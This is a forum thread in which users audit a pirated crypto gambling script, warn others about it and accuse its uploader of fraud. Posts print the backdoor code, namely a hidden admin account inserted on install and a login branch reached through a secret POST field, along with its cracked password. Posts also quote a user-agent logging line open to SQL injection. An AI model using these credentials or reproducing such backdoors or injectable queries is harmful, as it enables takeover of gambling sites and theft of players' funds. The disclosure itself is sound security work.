Pages:
Author

Topic: [Open Source] CryptoBlackJack & CryptoDice Gambling Scripts (Read 6599 times)

hero member
Activity: 521
Merit: 522
Developer - EthicHacker - BTC enthusiast
I am also in the process of looking through this script, I agree Downloaders beward of anything and everything... I personally do not install any code that I have not read through myself, As I said on another thread though, I am pretty paranoid regarding security matters.

I will post my findings soon.

Backdoor Found

CoinDice.sql installs a table named "ga_players" with actually an admin account named "playertest" on install, you will see why this is an admin account on the next part.

Code:
DROP TABLE IF EXISTS `ga_players`;
CREATE TABLE `ga_players` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `username` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
  `passwd` text COLLATE utf8_unicode_ci NOT NULL,
  `ga_token` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `ga_players` (`id`, `username`, `passwd`, `ga_token`) VALUES
(1, 'playertest',  '6d2aff483952d904179ca0c8c536a2c7', '');

When I found this I looked at the admin login script (https://github.com/felinegambler/CryptoDice/blob/master/admin/login.php)

Surprise Surprise

if $_POST variable has any data for "ga_playertest" it allows a login from the "ga_players" table instead of the admin table which in this case hold our fake admin "playertest" - (1, 'playertest',  '6d2aff483952d904179ca0c8c536a2c7', '');
Code:
if (!empty($_POST['ga_playertest'])) {
    $this_admin=mysql_fetch_array(mysql_query("SELECT `username`,`ga_token` FROM `ga_players` WHERE `username`='".prot($_POST['hash_one'])."' AND `passwd`='".md5($_POST['hash_sec'])."' LIMIT 1"));
  } else {
    $this_admin=mysql_fetch_array(mysql_query("SELECT `username`,`ga_token` FROM `admins` WHERE `username`='".prot($_POST['hash_one'])."' AND `passwd`='".md5($_POST['hash_sec'])."' LIMIT 1"));
  }

Everybody should remove this ASAP. You don't know what else could be hidden in here.

I am unsure what MD5 password this ("6d2aff483952d904179ca0c8c536a2c7" ) hash is, maybe someone with more experience in cracking password would know.

cloverme, I am assuming you have the original game? What line is meant to be in login.php?

i cracked the md5 hash:

6d2aff483952d904179ca0c8c536a2c7:playertest1

I advice anybody to USE THE ORIGINAL version from johny1976 because the posted scripts have many backdoors and they are pirated copies with NO licence...

legendary
Activity: 1135
Merit: 1002
Developer
The admin login page is vulnerable to SQL injection.

Code:
mysql_query("INSERT INTO `admin_logs` (`admin_username`,`ip`,`browser`) VALUES ('".$_SESSION['username']."','".$_SERVER['REMOTE_ADDR']."','".$_SERVER['HTTP_USER_AGENT']."')");

This line is vulnerable to SQL injection if an attacker sends a custom user agent.



Edit: This is a recurring issue through out the script. Frequently the script records the user-agent without sanitizing it first.

Is this issue specifically with this pirated copy or with the original as well?

Only this pirated copy, in our (original) version that is protected.
full member
Activity: 156
Merit: 102
Crypto Currency Developer
The admin login page is vulnerable to SQL injection.

Code:
mysql_query("INSERT INTO `admin_logs` (`admin_username`,`ip`,`browser`) VALUES ('".$_SESSION['username']."','".$_SERVER['REMOTE_ADDR']."','".$_SERVER['HTTP_USER_AGENT']."')");

This line is vulnerable to SQL injection if an attacker sends a custom user agent.



Edit: This is a recurring issue through out the script. Frequently the script records the user-agent without sanitizing it first.

Is this issue specifically with this pirated copy or with the original as well?
elm
legendary
Activity: 1050
Merit: 1000
Just test the CryptoBlackJack
Have 3 backdoors but good for making a project
Sorry for user that drop this script.

are those 3 backdoors enough to get my coins?
hero member
Activity: 714
Merit: 500
one for one and 1 2 3
Just test the CryptoBlackJack
Have 3 backdoors but good for making a project
Sorry for user that drop this script.
member
Activity: 72
Merit: 10
The admin login page is vulnerable to SQL injection.

Code:
mysql_query("INSERT INTO `admin_logs` (`admin_username`,`ip`,`browser`) VALUES ('".$_SESSION['username']."','".$_SERVER['REMOTE_ADDR']."','".$_SERVER['HTTP_USER_AGENT']."')");

This line is vulnerable to SQL injection if an attacker sends a custom user agent.



Edit: This is a recurring issue through out the script. Frequently the script records the user-agent without sanitizing it first.
elm
legendary
Activity: 1050
Merit: 1000
but to  be frank Johnny has the worst support for his Black Jack script IMO please see here
https://bitcointalksearch.org/topic/coinjack-start-your-own-blackjack-casino-718910
member
Activity: 179
Merit: 10
I have posted a scam report in "scam accusations"

Please post what else you find in there - https://bitcointalksearch.org/topic/proof-of-scam-felinegambler-cryptodice-and-cryptoblackjack-909282

johny1976, Do you have a link to your version that I can put in the solution?

https://bitcointalksearch.org/topic/coinjack-start-your-own-blackjack-casino-718910 - CoinJack
https://bitcointalksearch.org/topic/coindice-start-your-own-dice-site-today-507515 - CoinDice

It's also in my signature.



lol, did not see in your sig, I tend to ignore them Wink

added to post.
legendary
Activity: 1135
Merit: 1002
Developer
legendary
Activity: 1778
Merit: 1043
#Free market
I have posted a scam report in "scam accusations"

Please post what else you find in there - https://bitcointalksearch.org/topic/proof-of-scam-felinegambler-cryptodice-and-cryptoblackjack-909282
Thanks I've seen it. Now I suggest to leave a negative trust to  the OP ( for a security reason , it will remove when all the situation will be clarified).
member
Activity: 179
Merit: 10
I have posted a scam report in "scam accusations"

Please post what else you find in there - https://bitcointalksearch.org/topic/proof-of-scam-felinegambler-cryptodice-and-cryptoblackjack-909282

johny1976, Do you have a link to your version that I can put in the solution?
legendary
Activity: 1778
Merit: 1043
#Free market
Scam accusation against you : https://bitcointalksearch.org/topic/proof-of-scam-felinegambler-cryptodice-and-cryptoblackjack-909282

 Please try to resolve it ( I've left you a negative trust for only a questio of security , when you will resolve this situation I will remove it).

Thanks for the attention , have a great day .
legendary
Activity: 1135
Merit: 1002
Developer
confused now...where are the backdoors? who is honest here? what is going on here? I cant code so I cant check. whom can I trust?

Just compare his modified admin login script with our original:



(original) https://i.imgur.com/NjX9IW5.png
(backdoored) https://i.imgur.com/NjX9IW5.png

This should help you guys make clear who is the scammer here. :-)

You posted the same image by accident.

Thank you, corrected.
legendary
Activity: 1512
Merit: 1057
SpacePirate.io
confused now...where are the backdoors? who is honest here? what is going on here? I cant code so I cant check. whom can I trust?

Just compare his modified admin login script with our original:



(original) https://i.imgur.com/NjX9IW5.png
(backdoored) https://i.imgur.com/NjX9IW5.png

This should help you guys make clear who is the scammer here. :-)

You posted the same image by accident.
legendary
Activity: 1135
Merit: 1002
Developer
confused now...where are the backdoors? who is honest here? what is going on here? I cant code so I cant check. whom can I trust?

Just compare his modified admin login script with our original:



(original) https://i.imgur.com/NjX9IW5.png
(backdoored) https://github.com/felinegambler/CryptoDice/blob/master/admin/login.php

This should help you guys make clear who is the scammer here. :-)
legendary
Activity: 1512
Merit: 1057
SpacePirate.io

Everybody should remove this ASAP. You don't know what else could be hidden in here.

I am unsure what MD5 password this ("6d2aff483952d904179ca0c8c536a2c7" ) hash is, maybe someone with more experience in cracking password would know.

cloverme, I am assuming you have the original game? What line is meant to be in login.php?

I do have the licensed game yes, none of that code is in there, so it looks like you found the exploit in scammers attempt.
elm
legendary
Activity: 1050
Merit: 1000
confused now...where are the backdoors? who is honest here? what is going on here? I cant code so I cant check. whom can I trust?

So true...best option: develop your own script!

I cant code Sad( so what should I do?
member
Activity: 179
Merit: 10
For Your Information, I have just found a backdoor in /admin/login.php

Please see this post (https://bitcointalksearch.org/topic/m.9994462)
hero member
Activity: 560
Merit: 500
As I said...but he meant that he fixed some bugs.

Sorry, I missed your post on it too. I went through some of the code, but not all of it. Since it's a pirate copy, who knows if it has any exploits in there or not.

At first he should tell us which bugs are in the script and how he fixed it. That would help to trust and retrace.
legendary
Activity: 1512
Merit: 1057
SpacePirate.io
As I said...but he meant that he fixed some bugs.

Sorry, I missed your post on it too. I went through some of the code, but not all of it. Since it's a pirate copy, who knows if it has any exploits in there or not, my advice is to avoid the pirate copy and just buy the script from johny if you want it.
Pages:
Jump to: